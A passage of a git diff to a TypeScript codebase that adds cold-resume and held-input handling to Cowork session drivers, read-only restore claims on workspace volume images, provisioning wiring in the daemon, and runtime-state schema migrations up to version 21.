// guest's echo (no echo is refused, never guessed); a fresh start never meets an existing store. + const echo = run.continuation; + if (echo !== undefined && echo !== "fresh" && echo !== "resume") return refuse("recovery_required"); + if (resume === undefined) { if (echo === "resume") return refuse("recovery_required"); } + else if (resume.plan.continuation === "resume") { if (echo === "fresh") return refuse("recovery_required"); resumeOption = true; } + else if (resume.plan.continuation === "either") { if (echo === undefined) return refuse("recovery_required"); resumeOption = echo === "resume"; } + else if (echo === "resume") return refuse("recovery_required"); const ports: CoworkHostApprovalPorts = coworkApprovalPortsFor({ binding: admitted.binding, ...(admitted.source === undefined ? {} : { source: admitted.source }), ceiling: admitted.ceiling }); bridge = approvals.canUseToolFor({ sessionId, binding: admitted.binding, policyRevision: deps.records.policy(binding.workspaceId).revision, cowork: ports, cwd: admitted.conversation.roots[0]!.guestPath, turnOrigin, @@ -184,7 +259,8 @@ export function createCoworkSessionDrivers(deps: CoworkSessionDriverDeps): Cowor const canUseTool: CanUseTool = async (toolName, input, ctx) => coworkGuestPermissionAnswer(await answer(toolName, input, ctx), input); const supervisor = new CoworkGuestRuntimeSupervisor({ records: deps.records, authority: deps.authority, - identity: () => ({ backendSessionId, model: route.model, resume: false }), + // `resume` only when the store is known to exist; `either` lets the guest decide from its own store (CR2). + identity: () => ({ backendSessionId, model: route.model, resume: resumeOption }), bootId: () => run.guestBootId, runtimeCapability: offer.runtimeCapability, readiness: offer.readiness, port: { open: launch => coworkGuestRuntimeChannel({ link: run.runtime(0), launch, stop: () => { void stopRun(shuttingDown ? "shutdown" : "user"); } }) }, @@ -210,15 +286,42 @@ export function createCoworkSessionDrivers(deps: CoworkSessionDriverDeps): Cowor now: () => new Date().toISOString(), log: { warn: (message, fields) => log(`${message} ${fields === undefined ? "" : JSON.stringify(fields)}`.trim()) }, }); + const liveEpoch = (): { incarnationId: string; leaseEpoch: number } | undefined => { const run = entry.run; return run === undefined || entry.closed ? undefined : { incarnationId: run.incarnationId, leaseEpoch: run.leaseEpoch }; }; + const heldGated = deps.heldInput?.enabled === true && coworkOffersHeldInput(offer.runtimeCapability); + const queryNow = () => (entry.closed || session.state !== "live" ? undefined : liveQuery); + // Bound to the live epoch before it is published: for the reconcile alone. + const reconcileVerbs = coworkHeldInputVerbs(queryNow, liveEpoch); + const reconcileHeldInputs = (message: unknown): void => { + const gate = deps.heldInput; + // Only a runtime that OFFERED held-input-v1 may be reconciled or sent verbs: a runtime that did not could forge the report. + if (gate === undefined || !heldGated || heldReconciling || heldReconciled) return; // emitted once; a repeat changes nothing + heldReconciling = true; + void (async () => { + try { + const inputs = coworkHeldInputsFrom(message); + const epoch = liveEpoch(); + if (inputs === undefined || epoch === undefined) throw new CoworkError("recovery_required"); + await gate.reconcile({ sessionId, inputs, epoch, verbs: reconcileVerbs }); + const now = liveEpoch(); + if (now?.incarnationId === epoch.incarnationId && now.leaseEpoch === epoch.leaseEpoch) { heldReconciled = true; try { gate.published?.(sessionId); } catch { /* the next drain finds it */ } } + } catch (error) { log(`cowork ${sessionId}: held inputs not reconciled (${error instanceof Error ? error.name : "unknown"})`); } + })(); + }; // Only the agent SDK's own `query` (the runtime process is the guest's); no router selection, run home or messaging. - const runtime = { sdk: { query: (input: Parameters[0]) => sdkQuery(input) }, trackQuery: () => {}, untrack: () => {} } as unknown as WinterRuntimeSdk; + const runtime = { sdk: { query: (input: Parameters[0]) => { const q = sdkQuery(input); liveQuery = q; return heldGated ? coworkTapHeldInputs(q, reconcileHeldInputs) : q; } }, trackQuery: () => {}, untrack: () => {} } as unknown as WinterRuntimeSdk; const sessionDeps: WinterSessionDeps = { sessionId, backendSessionId, mode: "cowork", runtime, options: ({ abort }) => start(abort), spawnRefusal: () => (shuttingDown ? shutdownRefusal() : undefined), endedWhileOpeningRefusal: () => new CoworkError("cold_resume_unavailable"), projector: projectorFor, - append: event => { const stamped = deps.hub.append(sessionId, event); claimedInBatch = 0; return stamped; }, + append: event => { + const stamped = deps.hub.append(sessionId, event); claimedInBatch = 0; + // N3: the first completed turn proves the guest store exists (`started` -> `created`). Best effort: a failure leaves + // `started`, whose continuation (`either`) is still safe. + if (event.type === "turn_completed" && event.stopReason === "end_turn") { try { deps.records.markStoreCreated(sessionId); } catch (error) { log(`cowork ${sessionId}: store state not recorded (${error instanceof Error ? error.name : "unknown"})`); } } + return stamped; + }, broadcast: event => { deps.hub.broadcastTransient(sessionId, event); }, ...(deps.sessionRecords === undefined ? {} : { records: deps.sessionRecords }), hasTranscript: () => false, @@ -234,10 +337,12 @@ export function createCoworkSessionDrivers(deps: CoworkSessionDriverDeps): Cowor }; const handle: CoworkLegSession = { sessionId, backendSessionId, mode: "cowork", - get coworkEpoch() { const run = entry.run; return run === undefined || entry.closed ? undefined : { incarnationId: run.incarnationId, leaseEpoch: run.leaseEpoch }; }, + // Design rule 1 (4.5): with held-input messaging the epoch is published only AFTER the runtime's held inputs were + // reconciled, so no offer or hold can overtake a verdict (the peer inbox treats an absent epoch as "stays owed"). + get coworkEpoch() { return heldGated && !heldReconciled ? undefined : liveEpoch(); }, get state() { return entry.closed ? "ended" : session.state; }, get generation() { return session.generation; }, - get resumed() { return false; }, + get resumed() { return resume !== undefined; }, get init() { return session.init; }, get turnRunning() { return session.turnRunning; }, get turnStartedAt() { return session.turnStartedAt; }, @@ -257,6 +362,8 @@ export function createCoworkSessionDrivers(deps: CoworkSessionDriverDeps): Cowor deliver(text) { guestText(text); usable(); session.deliver(text); }, async open() { if (entry.closed) throw new CoworkError("cold_resume_unavailable"); await session.open(); }, idle: () => session.idle(), + // N4: only with the host's gate AND a runtime that offered `held-input-v1`; bound to the incarnation that is live. + ...(heldGated ? { heldInput: coworkHeldInputVerbs(queryNow, () => handle.coworkEpoch) } : {}), }; const entry: Entry = { sessionId, workspaceId: binding.workspaceId, session, handle, run: undefined, closed: false, consumed: false, @@ -279,12 +386,19 @@ export function createCoworkSessionDrivers(deps: CoworkSessionDriverDeps): Cowor // D3b: either location (O1's outputs conversation included). Other lanes' readers keep `binding()`, which refuses outputs. const binding = deps.records.conversation(sessionId); if (binding.state !== "active") throw new CoworkError("authority_denied"); - if (deps.records.conversationBackend(sessionId) !== null) throw new CoworkError("cold_resume_unavailable"); + // N3: a recorded backend means a guest store may exist. Without the cold-resume gate it never starts again; with it, + // the records decide the continuation (a lost store refuses). + const recorded = deps.records.conversationBackend(sessionId); + let resume: { backendSessionId: string; plan: CoworkResumePlan } | undefined; + if (recorded !== null) { + if (deps.coldResume?.ownerPatchApplied !== true) throw new CoworkError("cold_resume_unavailable"); + resume = { backendSessionId: recorded, plan: coworkResumePlan(deps.records, sessionId) }; + } const workspace = deps.records.get(binding.workspaceId); if (workspace.power === "uncertain") throw new CoworkError("recovery_required"); // N2: one host-query conversation per guest, and the guest's set is sent once per incarnation. if (workspace.power !== "stopped" || [...entries.values()].some(entry => !entry.closed && entry.workspaceId === binding.workspaceId)) throw new CoworkError("conversation_limit"); - const entry = assemble(sessionId, binding, route, native, offer, approvals); + const entry = assemble(sessionId, binding, route, native, offer, approvals, resume); entries.set(sessionId, entry); return entry.handle; }; diff --git a/packages/core/src/cowork/session-ports.ts b/packages/core/src/cowork/session-ports.ts index fe547cf89..6b117538e 100644 --- a/packages/core/src/cowork/session-ports.ts +++ b/packages/core/src/cowork/session-ports.ts @@ -3,6 +3,8 @@ import type { NewSessionEvent } from "@yanlinglabs/winter-protocol"; import type { LegSession } from "../runtime-sdk/session-driver"; import type { CoworkHostApprovalPorts } from "./approval-ports"; import type { CoworkPrincipal } from "./authority"; +import type { CoworkResumePlan } from "./cold-resume"; +import type { CoworkHeldInputVerbs } from "./held-input"; import type { CoworkConnection } from "./service"; import type { CoworkConversation } from "./types"; @@ -45,6 +47,9 @@ export interface CoworkSessionCreateInput { export type CoworkLegSession = Omit & { readonly mode: "cowork"; readonly coworkEpoch: { readonly incarnationId: string; readonly leaseEpoch: number } | undefined; + /** #92 N4: the held-input verbs (PEER-INBOX's `drainOnce` drives them). Present only with the host's gate and a runtime + * that offered `held-input-v1`; absent everywhere in production. */ + readonly heldInput?: CoworkHeldInputVerbs; }; /** The Cowork driver table, beside the Code one, keyed by stored mode. Same verbs ipc/server.ts and SessionMessaging call. */ @@ -151,9 +156,12 @@ export interface CoworkGuestConversation { readonly policy: "auto" | "plan" | "ask" | "accept-edits" | "dont-ask" | "bypass"; readonly roots: readonly { readonly id: string; readonly guestPath: string; readonly source: string; readonly readOnly: boolean }[]; readonly runtime: { - readonly model: string; readonly timeoutMs: number; readonly toolClasses: readonly ("read" | "write" | "execute")[]; + readonly model: string; readonly timeoutMs: number; readonly toolClasses: readonly ("read" | "write" | "execute" | "coordinate")[]; readonly provider: Readonly>; readonly guided: Readonly<{ bindingId: string; generation: number }> | null; + /** Cold resume (native contract revision 3): `fresh`, `resume` or `either`, and the host-attested ended guest boots. */ + readonly continuation: "fresh" | "resume" | "either"; + readonly endedGuestBoots: readonly string[]; } | null; } /** Mirrors `CoworkNativeConversationSet` (native/host.ts). N2: a host-query profile carries exactly one conversation. */ @@ -163,9 +171,19 @@ export type CoworkGuestStopOutcome = | { readonly released: true; readonly evidence: "orderly-receipt" | "new-boot" | "owner-recover" } | { readonly released: false; readonly reason: string }; +/** One folder share the guest reports mounted (#92 section 2.5, `shares_mounted`): the source it backs, at the revision the + * host's `shares` records were prepared from. Host-mapped from the share tag; never a guest-supplied id. */ +export interface CoworkMountedShare { readonly sourceId: string; readonly revision: number } /** What a start is handed: the incarnation's conversation set, asked once at `mounted`. */ export interface CoworkGuestStartRequest { conversations(context: CoworkGuestConversationContext): CoworkGuestConversationSet | null; + /** #92 N2: at the guest's `shares_mounted` (contract text version 3), BEFORE `conversations`. Each mounted folder source + * becomes honestly `ready` for THIS incarnation (`acknowledgeSource`). Throws typed to fault the boot. No native host + * calls it before the v3 contract exists (S7B), so today it is never invoked. */ + sharesMounted?(context: CoworkGuestConversationContext, mounted: readonly CoworkMountedShare[]): void; + /** #92 N3: present only on a gated cold resume. S7B's v3 host puts it on the conversation's runtime record + * (`runtime.continuation`, `runtime.endedGuestBoots`) and checks the guest's `continuation` echo. */ + readonly resume?: CoworkResumePlan; } /** The runtime class (2) for one conversation. Today the native host drops runtime frames ("no consumer in this slice"); * S7B adds this link. */ @@ -181,6 +199,10 @@ export interface CoworkGuestRuntimeLink { /** A running incarnation, as a start resolves it. */ export interface CoworkGuestRun { readonly workspaceId: string; readonly incarnationId: string; readonly leaseEpoch: number; readonly guestBootId: string; + /** #92 N3: the guest's `runtime_ready` echo of the continuation it took (CR2): `resume` when its store was found and + * resumed, `fresh` when it started a new one. Absent from a host that does not carry it; an `either` start without it is + * refused (the driver never guesses). */ + readonly continuation?: "fresh" | "resume"; /** Conversation index 0 only (N2), available after `runtime_ready`. */ runtime(conversation: 0): CoworkGuestRuntimeLink; stop(reason: "user" | "shutdown" | "restart" | "update"): Promise; diff --git a/packages/core/src/cowork/storage-lifecycle.ts b/packages/core/src/cowork/storage-lifecycle.ts index f79d0b7d6..2998a1e11 100644 --- a/packages/core/src/cowork/storage-lifecycle.ts +++ b/packages/core/src/cowork/storage-lifecycle.ts @@ -9,7 +9,9 @@ export type LifecycleFailure = | "invalid_request" | "authority_denied" | "not_found" | "volume_busy" | "recovery_required" | "image_unpinned" | "image_digest_mismatch" | "update_pending" | "no_update_pending" | "incompatible_image" | "export_not_ready" | "export_in_progress" | "generation_stale" | "generation_unknown" - | "manifest_invalid" | "unknown_format" | "foreign_home" | "workspace_unknown"; + | "manifest_invalid" | "unknown_format" | "foreign_home" | "workspace_unknown" + // Export writer and restore flow (export-bundle.ts, export-writer.ts, restore-bundle.ts). + | "bundle_invalid" | "bundle_unsafe" | "bundle_exists" | "destination_invalid" | "restore_unconfirmed" | "restore_conflict" | "backup_exclusion_unavailable" | "integration_unavailable"; export class CoworkLifecycleError extends Error { constructor(readonly code: LifecycleFailure) { super(code); this.name = "CoworkLifecycleError"; } diff --git a/packages/core/src/cowork/volume-fs.ts b/packages/core/src/cowork/volume-fs.ts index cceccbc9b..dd1fa4e55 100644 --- a/packages/core/src/cowork/volume-fs.ts +++ b/packages/core/src/cowork/volume-fs.ts @@ -21,6 +21,16 @@ export function openImageAt(dir: number, name: "data.ext4" | "env.ext4"): number return fd; } +/** The same image, opened READ-ONLY (O_RDONLY, no follow, close-on-exec): what a restore reads while it holds the exclusive restore claim. */ +export function openImageReadOnlyAt(dir: number, name: "data.ext4" | "env.ext4"): number { + if (process.platform !== "darwin" || process.arch !== "arm64") throw new Error("unsupported_topology"); + native ??= loadNative(); + const bytes = Buffer.from(`${name}\0`); + const fd = native.symbols.openat!(dir, bytes, constants.O_RDONLY | constants.O_NONBLOCK | constants.O_NOFOLLOW | 0x01000000) as number; + if (fd < 0) { const address = native.symbols.__error!(); const errno = address === null ? 0 : read.i32(address, 0); throw new Error(`image_open_refused:${errno}`); } + return fd; +} + function loadPropertyLists() { return dlopen("/System/Library/Frameworks/CoreFoundation.framework/CoreFoundation", { CFDataCreate: { args: [FFIType.ptr, FFIType.ptr, FFIType.i64], returns: FFIType.ptr }, diff --git a/packages/core/src/cowork/volumes.ts b/packages/core/src/cowork/volumes.ts index 4e23fb96a..b367ae72b 100644 --- a/packages/core/src/cowork/volumes.ts +++ b/packages/core/src/cowork/volumes.ts @@ -2,7 +2,7 @@ import { randomUUID } from "node:crypto"; import { closeSync, fstatSync, fsyncSync, ftruncateSync, realpathSync } from "node:fs"; import { join, resolve } from "node:path"; import type { RuntimeStateDb } from "../runtime-state/db"; -import { AT_FDCWD, closeFd, createFileAt, mkdirAt, openDirAt, openImageAt } from "./volume-fs"; +import { AT_FDCWD, closeFd, createFileAt, mkdirAt, openDirAt, openImageAt, openImageReadOnlyAt } from "./volume-fs"; import { COWORK_EXT4_FEATURES, COWORK_EXT4_MOUNT_OPTIONS, filesystemUUID, validFilesystemPlan, matchesFilesystemReceipt, readyFilesystemHistory, filesystemReceiptNeedsRecovery, validReplayDebt, sameReplayDebt, type FilesystemCheckMode, type RecordedFilesystemPlan, type CoworkVolumeFilesystemAuthority, type VolumeFilesystemState, type VolumeFilesystemJournal, type VolumeFilesystemPlan, type VolumeFilesystemReceipt } from "./volume-filesystem"; import { timeMachineVolumeBackup, type CoworkVolumeBackup } from "./volume-backup"; @@ -24,6 +24,10 @@ export interface CoworkVolumeRecord { identity: VolumeFileIdentity | null; owner: CoworkVolumeOwner | null; lastStopId: string | null; createdAt: string; updatedAt: string; } +/** A durable, exclusive restore claim on a stopped, unowned workspace (the content-out restorer's volume needs). It IS the volume owner record, so `claim`, `open` and `prepareFilesystems` refuse + * (`volume_busy`) from the first byte the restore exchanges until the identity is re-recorded and the claim ended, and a crash leaves the owner visible: nothing starts, and recovery sees volumes that + * name an owner it has no evidence for. */ +export interface CoworkRestoreClaim { readonly workspaceId: string; readonly restoreId: string; /** The authority's proof from `beginRestore`, carried so every later call is admitted the same way. */ readonly proof: unknown } export interface CoworkVolumeAuthority { /** Current authenticated controller, canonical home registration, workspace grant and incarnation * checks belong here. Mandatory injection; local paths, manifest bytes and worker PIDs are insufficient. */ @@ -43,6 +47,8 @@ function owner(value: CoworkVolumeOwner): CoworkVolumeOwner { if (!value || !Number.isSafeInteger(value.leaseEpoch) || value.leaseEpoch < 1 || !/^[a-f0-9]{64}$/.test(value.runtimeImageDigest)) fail("invalid_request"); return { controllerInstanceId: token(value.controllerInstanceId), workerInstanceId: token(value.workerInstanceId), incarnationId: token(value.incarnationId), leaseEpoch: value.leaseEpoch, runtimeImageDigest: value.runtimeImageDigest }; } +/** The owner record of a restore: never a native incarnation (its controller id is `restore-` and nothing else in the system mints one). */ +const restoreOwner = (restoreId: string): CoworkVolumeOwner => owner({ controllerInstanceId: `restore-${token(restoreId)}`.slice(0, 160), workerInstanceId: "restore", incarnationId: "restore", leaseEpoch: 1, runtimeImageDigest: "0".repeat(64) }); const sameOwner = (a: CoworkVolumeOwner | null, b: CoworkVolumeOwner) => a !== null && JSON.stringify(owner(a)) === JSON.stringify(owner(b)); const sameIdentity = (a: VolumeFileIdentity, b: VolumeFileIdentity) => a.device === b.device && a.inode === b.inode && a.uid === b.uid && a.mode === b.mode; const filename = (purpose: VolumePurpose): "data.ext4" | "env.ext4" => purpose === "data" ? "data.ext4" : purpose === "environment" ? "env.ext4" : fail("invalid_request"); @@ -444,6 +450,90 @@ export class CoworkVolumes { return this.filesystemAuthority!.authorize(admitted.request, admitted.homeId, current, plan.checkMode) === true; }, { mode: "immediate" }); } finally { checked.forEach(v => v.close()); } } + // ---------------------------------------------------------------------------------------------- restore (content-out) + private restoreRequest(claim: CoworkRestoreClaim, proof: unknown = claim.proof): CoworkVolumeRequest { return { workspaceId: token(claim.workspaceId), owner: restoreOwner(claim.restoreId), proof }; } + private restoreHeld(request: CoworkVolumeRequest): CoworkVolumeRecord[] { + const volumes = this.records(request.workspaceId); + if (volumes.length !== 2 || volumes.some(v => v.state !== "allocated" || !sameOwner(v.owner, request.owner))) fail("volume_busy"); + return volumes; + } + /** Take the exclusive restore claim: both images allocated and validated, no owner (or this very restore's, for a retry), no open handle. Durable before it returns. */ + beginRestore(input: { workspaceId: string; restoreId: string; proof: unknown }): CoworkRestoreClaim { + if (this.rs.db.inTransaction) fail("invalid_request"); + const claim: CoworkRestoreClaim = { workspaceId: token(input.workspaceId), restoreId: token(input.restoreId), proof: input.proof }; + const request = this.restoreRequest(claim); + const validate = (volumes: CoworkVolumeRecord[], homeId: string) => { + if ((this.handles.get(claim.workspaceId) ?? 0) > 0) fail("volume_busy"); + if (volumes.length !== 2) fail("recovery_required"); + for (const volume of volumes) { + if (volume.homeId !== homeId || volume.state !== "allocated") fail("recovery_required"); + if (volume.owner && !sameOwner(volume.owner, request.owner)) fail("volume_busy"); + } + }; + const admitted = this.admit("claim", request), prior = this.records(claim.workspaceId); + validate(prior, admitted.homeId); + const checked = this.prepareChecked(prior); + try { + this.rs.transaction(() => { + const { homeId } = this.admit("claim", request), volumes = this.records(claim.workspaceId); + validate(volumes, homeId); + volumes.forEach(v => this.revalidateChecked(v, checked)); + this.run("UPDATE cowork_volumes SET owner_json=?,last_stop_id=NULL WHERE workspace_id=?", JSON.stringify(request.owner), claim.workspaceId); + }, { mode: "immediate" }); + } finally { checked.forEach(v => v.close()); } + return claim; + } + /** A READ-ONLY descriptor pinned to the recorded image, for the holder of the restore claim only. The descriptor cannot write, and it is checked against the recorded identity and size. */ + openForRestoreRead(claim: CoworkRestoreClaim, purpose: VolumePurpose): { volume: CoworkVolumeRecord; fd: number; close(): void } { + if (this.rs.db.inTransaction) fail("invalid_request"); + const request = this.restoreRequest(claim); + this.admit("open", request); + const volume = this.restoreHeld(request).find(v => v.purpose === purpose); + if (!volume) fail("not_found"); + const dirs = this.directories(claim.workspaceId, false); let fd = -1; + try { + fd = openImageReadOnlyAt(dirs.at(-1)!, filename(purpose)); this.validate(fd, volume); + const pinned = fd; let closed = false; + return { volume, fd, close: () => { if (!closed) { closed = true; closeSync(pinned); } } }; + } catch (error) { closeFd(fd); if (error instanceof CoworkVolumeError) throw error; fail("recovery_required"); } + finally { dirs.forEach(closeFd); } + } + /** After the restorer put a new image in place: record the new file's identity for ONE volume. The recorded identity must be what the restorer believed (`expected`), and the file on disk must + * be exactly `next` (identity, mode, owner, size). Only the claim's holder may call it, and only while it holds. */ + reidentifyRestored(claim: CoworkRestoreClaim, change: { purpose: VolumePurpose; expected: VolumeFileIdentity | null; next: VolumeFileIdentity; proof: unknown }): void { + if (this.rs.db.inTransaction) fail("invalid_request"); + const request = this.restoreRequest(claim, change.proof ?? claim.proof); + this.admit("open", request); + const dirs = this.directories(claim.workspaceId, false); let fd = -1; + try { + fd = openImageReadOnlyAt(dirs.at(-1)!, filename(change.purpose)); + const onDisk = identity(fd, "image"), size = Number(fstatSync(fd, { bigint: true }).size); + if (!sameIdentity(onDisk, change.next)) fail("recovery_required"); + this.rs.transaction(() => { + this.admit("open", request); + const volume = this.restoreHeld(request).find(v => v.purpose === change.purpose); + if (!volume || !volume.identity || size !== volume.capacityBytes) fail("recovery_required"); + if (change.expected !== null && !sameIdentity(volume.identity, change.expected)) fail("recovery_required"); + this.run("UPDATE cowork_volumes SET device=?,inode=?,uid=?,mode=?,updated_at=? WHERE volume_id=?", change.next.device, change.next.inode, change.next.uid, change.next.mode, new Date().toISOString(), volume.volumeId); + }, { mode: "immediate" }); + } catch (error) { if (error instanceof CoworkVolumeError) throw error; fail("recovery_required"); } + finally { closeFd(fd); dirs.forEach(closeFd); } + } + /** End the claim: every recorded identity must match the files on disk again (a restore that replaced an image and did not re-record it stays claimed, which is visible and safe). */ + endRestore(claim: CoworkRestoreClaim): void { + if (this.rs.db.inTransaction) fail("invalid_request"); + const request = this.restoreRequest(claim); + this.admit("release", request); + const prior = this.restoreHeld(request), checked = this.prepareChecked(prior); + try { + this.rs.transaction(() => { + this.admit("release", request); + const volumes = this.restoreHeld(request); + volumes.forEach(v => this.revalidateChecked(v, checked)); + this.run("UPDATE cowork_volumes SET owner_json=NULL,last_stop_id=NULL WHERE workspace_id=?", claim.workspaceId); + }, { mode: "immediate" }); + } finally { checked.forEach(v => v.close()); } + } release(input: CoworkVolumeRequest, stop: CoworkVolumeStop): void { if (this.rs.db.inTransaction) fail("invalid_request"); token(stop.confirmationId); diff --git a/packages/core/src/daemon.ts b/packages/core/src/daemon.ts index 7048f66c6..99ca9f03d 100644 --- a/packages/core/src/daemon.ts +++ b/packages/core/src/daemon.ts @@ -3049,9 +3049,14 @@ async function startDaemonInner(onEmbeddedHost: (host: { shutdown(budgetMs?: num ? createCoworkNativeWiring({ db: runtime.db, records: coworkRecords!, home: winterHome, secrets, ...opts.coworkNative, ...(nativeEnvironment ? { environment: nativeEnvironment } : {}) }) : undefined; const coworkNativePort = nativeEnvironment ? coworkNative : undefined; const baseCoworkHost = runtime ? (opts.coworkHost ?? createMacCoworkHost(winterHome, undefined, runtime.db, coworkNativePort)) : undefined; - const coworkHostPorts = baseCoworkHost && coworkNativePort && !baseCoworkHost.native ? { ...baseCoworkHost, native: coworkNativePort } : baseCoworkHost; + const withNative = baseCoworkHost && coworkNativePort && !baseCoworkHost.native ? { ...baseCoworkHost, native: coworkNativePort } : baseCoworkHost; + // The provisioning port exists only where an environment was injected (production has none: the activation seam answers undefined), and only when the host has not got one. + const coworkProvisioning = withNative && coworkNativePort && !withNative.provisioning ? coworkNativePort.provisioningPort() : undefined; + const coworkHostPorts = coworkProvisioning ? { ...withNative!, provisioning: coworkProvisioning } : withNative; coworkService = runtime ? new CoworkWorkspaceService(coworkRecords!, coworkHostPorts!, opts.coworkScheduleNow, winterHome, { broker: approvalBroker, emit: (sessionId, event) => { hub.append(sessionId, event); } }) : undefined; // Boot steps are best effort: a throw here (a locked or damaged Cowork table) must neither abort startup nor, later, kill the process. + // The host that supplies the provisioning port drives the creations still pending (a crash between COMMIT and `provision`) once at boot. It never rejects. + if (coworkProvisioning) void coworkService?.resumeProvisioning(); try { coworkService?.schedules.recover(); } catch (error) { console.error(`cowork: schedule recovery failed at boot (${describeCoworkBootError(error)}); continuing`); } try { coworkService?.schedules.tick(); } catch (error) { console.error(`cowork: schedule tick failed at boot (${describeCoworkBootError(error)}); continuing`); } // Boot-time reconcile (D1): record-and-refuse. Without an environment this only reads the records; with one it runs the host's own diff --git a/packages/core/src/projector/index.ts b/packages/core/src/projector/index.ts index c9ee15fe8..d70fbd662 100644 --- a/packages/core/src/projector/index.ts +++ b/packages/core/src/projector/index.ts @@ -535,6 +535,21 @@ class ProjectorImpl implements Projector { ]); } + // #92 4.5: `system/host_input_committed {inputId, outcome}` -- a peer's message (held, acknowledged, then committed by the + // host) joined this Cowork conversation. The rendered text is the runtime's own transcript entry; this is the + // user-visible record that it arrived and how, as a `continuity_warning` (no protocol change). Keyed by the input id, + // so a replay and a re-sent commit (`already`) append it once. + if (kindOf(msg) === "system/host_input_committed") { + const m = msg as Record; + const inputId = typeof m.inputId === "string" && /^[A-Za-z0-9][A-Za-z0-9._:-]{0,199}$/.test(m.inputId) ? m.inputId : ""; + const how = m.outcome === "folded" ? "into the turn that was running" : m.outcome === "queued" ? "behind the turn that was running" : m.outcome === "started" ? "as a new turn" : ""; + if (inputId.length === 0 || how.length === 0) { this.logSkipped(msg); return EMPTY_BATCH(); } + const threadId = threadIdOf(m as { parent_tool_use_id?: string | null }); + return claim(`hi:${inputId}`, () => [ + { type: "continuity_warning", sessionId: this.deps.sessionId, threadId, warning: "peer_message_committed", text: `A message from another session in this project was added to the conversation ${how}.` }, + ]); + } + // 2026-10-07: a COMPACTION is something Winter did to the conversation, so the user sees it as a // `continuity_warning` -- the variant's own contract ("what Winter did to it"; an open `warning` // kind a client renders by its `text`, no table), so every client shows it with no protocol change. diff --git a/packages/core/src/runtime-state/db.ts b/packages/core/src/runtime-state/db.ts index 24acc490e..2c8c354e1 100644 --- a/packages/core/src/runtime-state/db.ts +++ b/packages/core/src/runtime-state/db.ts @@ -1,9 +1,9 @@ import { Database } from "bun:sqlite"; import { existsSync, mkdirSync, readdirSync, renameSync, rmSync, statSync } from "node:fs"; import { join } from "node:path"; -import { COWORK_TABLES, migrateCoworkSchema, migrateCoworkVolumeSchema, migrateCoworkFilesystemSchema, migrateCoworkFolderGrantSchema, migrateCoworkScheduleSchema, migrateCoworkInstructionSchema, migrateCoworkScheduleQuarantineSchema, migrateCoworkOutputSchema, migrateCoworkStorageLifecycleSchema, migrateCoworkPeerInboxSchema, migrateCoworkSessionBindingSchema, migrateCoworkSessionReservationSchema, COWORK_BACKUP_EXCLUDED_TABLES } from "../cowork/schema"; +import { COWORK_TABLES, migrateCoworkSchema, migrateCoworkVolumeSchema, migrateCoworkFilesystemSchema, migrateCoworkFolderGrantSchema, migrateCoworkScheduleSchema, migrateCoworkInstructionSchema, migrateCoworkScheduleQuarantineSchema, migrateCoworkOutputSchema, migrateCoworkStorageLifecycleSchema, migrateCoworkPeerInboxSchema, migrateCoworkSessionBindingSchema, migrateCoworkSessionReservationSchema, migrateCoworkExportBindingSchema, migrateCoworkResumeSchema, COWORK_BACKUP_EXCLUDED_TABLES } from "../cowork/schema"; -export const RUNTIME_STATE_SCHEMA_VERSION = 19; +export const RUNTIME_STATE_SCHEMA_VERSION = 21; export class RuntimeStateUnavailableError extends Error { constructor(public readonly path: string, public readonly reason: "missing" | "corrupt" | "newer-schema" | "unmigrated", cause?: unknown) { @@ -245,6 +245,10 @@ const MIGRATIONS: ReadonlyArray<{ { version: 18, rebuildsParentTable: true, up: migrateCoworkSessionBindingSchema }, // Session door D4: the durable reservation a Cowork session.create starts with. Records only. { version: 19, up: migrateCoworkSessionReservationSchema }, + // Content-out (#97): the export content binding (definitions from that lane). Records only. + { version: 20, up: migrateCoworkExportBindingSchema }, + // #92 host side: stable guest uids, store state, volume UUID, guest boots, held-input inbox columns. Records only. + { version: 21, up: migrateCoworkResumeSchema }, ]; /** `PRAGMA foreign_key_check`'s row count — how many child rows point at no parent. */ @@ -299,7 +303,7 @@ function sweepStaleBackupTemps(destDir: string): void { /** Explicit compatibility rollback only; caller must hold the stopped-daemon migration boundary. * Keeps all WS-21/v7 state and filesystem layout intact. Populated Cowork authority never drops. */ -export function downgradeCoworkRuntimeStateToV7(home: string): { from: 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19; to: 7 } | "not-needed" { +export function downgradeCoworkRuntimeStateToV7(home: string): { from: 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21; to: 7 } | "not-needed" { const path = join(home, "runtimes", "runtime-state.db"); if (!existsSync(path)) return "not-needed"; const db = new Database(path); @@ -309,10 +313,10 @@ export function downgradeCoworkRuntimeStateToV7(home: string): { from: 8 | 9 | 1 return db.transaction(() => { const version = db.query<{ user_version: number }, []>("PRAGMA user_version").get()!.user_version; if (version <= 7) return "not-needed" as const; - if (version !== 8 && version !== 9 && version !== 10 && version !== 11 && version !== 12 && version !== 13 && version !== 14 && version !== 15 && version !== 16 && version !== 17 && version !== 18 && version !== 19) throw new RuntimeStateUnavailableError(path, "newer-schema"); + if (version !== 8 && version !== 9 && version !== 10 && version !== 11 && version !== 12 && version !== 13 && version !== 14 && version !== 15 && version !== 16 && version !== 17 && version !== 18 && version !== 19 && version !== 20 && version !== 21) throw new RuntimeStateUnavailableError(path, "newer-schema"); dropEmptyCoworkSchema(db); db.run("PRAGMA user_version=7"); - return { from: version as 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19, to: 7 as const }; + return { from: version as 8 | 9 | 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 21, to: 7 as const }; }).immediate(); } finally { db.close(); } } @@ -324,14 +328,14 @@ export function downgradeCoworkRuntimeStateToV7(home: string): { from: 8 | 9 | 1 * cleared (the older CHECK has no such kind), `runtime_sessions` rebuilt under the v6 CHECK by SQLite's * 12-step procedure (keys off OUTSIDE the transaction, `foreign_key_check` no worse), the quarantine * record dropped, `user_version` 6. `"not-needed"` for no store or a store already at v6 or below; a store - * NEWER than v19 is refused. A v8..v19 store may roll back only while every Cowork table (`COWORK_TABLES`) is empty; populated authority must be retained. The daemon must be stopped. + * NEWER than v21 is refused. A v8..v21 store may roll back only while every Cowork table (`COWORK_TABLES`) is empty; populated authority must be retained. The daemon must be stopped. * * Dropping `run_root_quarantine` forgets which kept roots were quarantined: after a re-upgrade the boot * sweep reconciles those roots AGAIN (they are still on disk — nothing here deletes one). A root that is * still unprovable quarantines again: a second evidence copy under `cache/quarantine/`, its sessions * re-marked `repair-required` — idempotent, never a loss. Rollback runs this step FIRST (round 3, minor 1). 